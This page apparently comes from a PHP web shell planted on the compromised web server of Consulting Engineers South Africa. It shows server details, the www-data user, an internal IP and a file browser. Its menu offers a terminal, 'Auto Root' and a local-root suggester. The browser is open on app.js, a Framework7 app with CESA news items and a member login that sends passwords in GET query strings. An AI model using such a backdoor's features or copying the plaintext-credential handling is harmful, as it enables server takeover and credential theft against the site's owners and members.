Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
app /
js /
Delete
Unzip
Name
Size
Permission
Date
Action
app.js
7.13
KB
-rw-r--r--
2020-01-24 10:25
routes.js
2.33
KB
-rw-r--r--
2019-12-04 04:16
Save
Rename
// Dom7 var $$ = Dom7; // Framework7 App main instance var app = new Framework7({ root: '#app', // App root element id: 'io.framework7.testapp', // App bundle ID name: 'Framework7', // App name theme: 'auto', // Automatic theme detection // App root data data: function () { return { user: { firstName: 'John', lastName: 'Doe', }, // Demo products for Catalog section products: [ { id: '1', title: 'CESA Infrastructure Indaba Day 1� Engineering the Future now!', description: '<p>MEC for Infrastructure Development in Gauteng Jacob Mamabolo, Keynote Speaker at the 7th Annual CESA Infrastructure Indaba, taking place at Southern Sun, OR Tambo International, told the conference that it gives him pleasure to spend time with fellow industry players especially consulting engineers and built environment professionals �as we seek ways to improve our work in the delivery of infrastructure projects that are a key anchor and an enabler to a growing a thriving economy�.</p>' }, { id: '2', title: 'CESA Welcomes Cabinet Reshuffle', description: '<p>Consulting Engineers South Africa (CESA) welcomes the recently announced changes to the cabinet and executive of President Cyril Ramaphosa. In particular, CESA welcomes the return of highly respected and competent ministers to the critical portfolios of Public Enterprises and Finance. Both Minister Gordhan and Nene have a challenging task ahead of them to get both South Africa�s SOE�s as well our economy on an upward curve again. CESA is confident however that under the stewardship of both these ministers, positive international sentiment and hence investment will begin to flow once again.</p>' }, { id: '3', title: 'CESA calls on Government for decisive Leadership to revitalise SOEs', description: '<p>Consulting Engineers South Africa (CESA) welcomes Finance Minister Malusi Gigaba�s comments during the 2018 Budget Speech that �we must act with urgency to make tangible progress on issues of public governance, inclusive growth and economic transformation.� CESA is calling on Government to show decisive leadership aimed at unlocking the project stream and revitalising State Owned Enterprises (SOEs). CESA also welcomes the renewed focus on the National Development Plan (NDP) as key to growing the economy of the country.</p>' }, { id: '4', title: 'CESA supports Ramaphosa\'s call for Ethical behaviour and Ethical Leadership', description: '<p>Consulting Engineers South Africa (CESA) is encouraged by the impassioned call from President Cyril Ramaphosa for commitment to ethical behaviour and ethical leadership, a call which resonates strongly with that expressed by its own leadership. The organisation further commends President Ramaphosa for stating that infrastructure investment is key to growing the economy. CESA welcomes the intervention to decisively stabilise and revitalise state owned enterprises (SOEs) as well as those implicated in State Capture.</p>' }, ] }; }, // App root methods methods: { helloWorld: function () { app.dialog.alert('Hello World!'); }, }, // App routes routes: routes, }); // Init/Create views var homeView = app.views.create('#view-home', { url: '/' }); var catalogView = app.views.create('#view-catalog', { url: '/catalog/' }); var searchView = app.views.create('#view-search', { url: '/search/' }); var membersView = app.views.create('#view-members', { url: '/members/' }); var cenewsView = app.views.create('#view-cenews', { url: '/cenews/' }); var practicenotesView = app.views.create('#view-practicenotes', { url: '/practicenotes/' }); var publicationsView = app.views.create('#view-publications', { url: '/publications/' }); var portalView = app.views.create('#view-portal', { url: '/portal/' }); // Login Screen Demo $$('#my-login-screen .login-button').on('click', function () { var username = $$('#my-login-screen [name="username"]').val(); var password = $$('#my-login-screen [name="password"]').val(); // Close login screen app.loginScreen.close('#my-login-screen'); // Alert username and password app.dialog.alert('Username: ' + username + '<br>Password: ' + password); }); // form submission $$('#searchformsubmit').on('click', function (e) { // var xhr = e.detail.xhr; // actual XHR object // var data = e.detail.data; // Ajax response from action file // do something with response data opensearchresults(); }); function opensearchresults() { // searchView.router.navigate('/searchresults/'); // get results $.ajax({ url: '/app/ajax/searchresults.php', data: 'FirmName='+$('#FirmName').val()+'&Province='+$('#Province option:selected').val()+'&SpecArch='+$('#SpecArch:checked').length+'&SpecCivil='+$('#SpecCivil:checked').length+'&SpecElec='+$('#SpecElec:checked').length+'&SpecMech='+$('#SpecMech:checked').length+'&SpecMin='+$('#SpecMin:checked').length+'&SpecQS='+$('#SpecQS:checked').length+'&SpecTownP='+$('#SpecTownP:checked').length+'&SpecOther='+$('#SpecOther:checked').length, dataType: "html", type: "GET", cache: true, complete: function (response) { $('#searchresultstable').html(response.responseText); app.popup.open('#my-popup-search'); } }); return false; } function showoffice(iOfficeID) { // searchView.router.navigate('/searchresults/'); // get results $.ajax({ url: '/app/ajax/officedata.php', data: 'OfficeID='+iOfficeID, dataType: "html", type: "GET", cache: true, complete: function (response) { $('#officedata').html(response.responseText); app.popup.open('#my-popup-office'); } }) } function memberlogin() { $.ajax({ url: '/app/ajax/memberlogin.php', data: 'Username='+$('#Username').val()+'&Password='+$('#Password').val(), dataType: "text", type: "GET", cache: true, complete: function (response) { if (response.responseText=='success') { $('#memberportalcontent').html('<div class="row"><div class="col-50"><a href="/cenews/" class="button button-raised button-fill">CE-News</a></div><div class="col-50"><a href="/practicenotes/" class="button button-raised button-fill">Practice Notes</a></div></div></div>'); membersView.router.loadPage('/portal/'); window.location.assign('/portal/'); //, { ignoreCache: true }); } } }) } /* var deferredPrompt; var btnAdd=document.getElementById('btnAdd'); window.addEventListener('beforeinstallprompt', (e) => { var btnAdd=document.getElementById('btnAdd'); console.log('Before install prompt'); e.preventDefault(); deferredPrompt = e; btnAdd.style.display = 'block'; }); btnAdd.addEventListener('click', (e) => { btnAdd.style.display = 'none'; deferredPrompt.prompt(); deferredPrompt.userChoice .then((choiceResult) => { if (choiceResult.outcome === 'accepted') { console.log('User accepted the A2HS prompt'); } else { console.log('User dismissed the A2HS prompt'); } deferredPrompt = null; }); }); */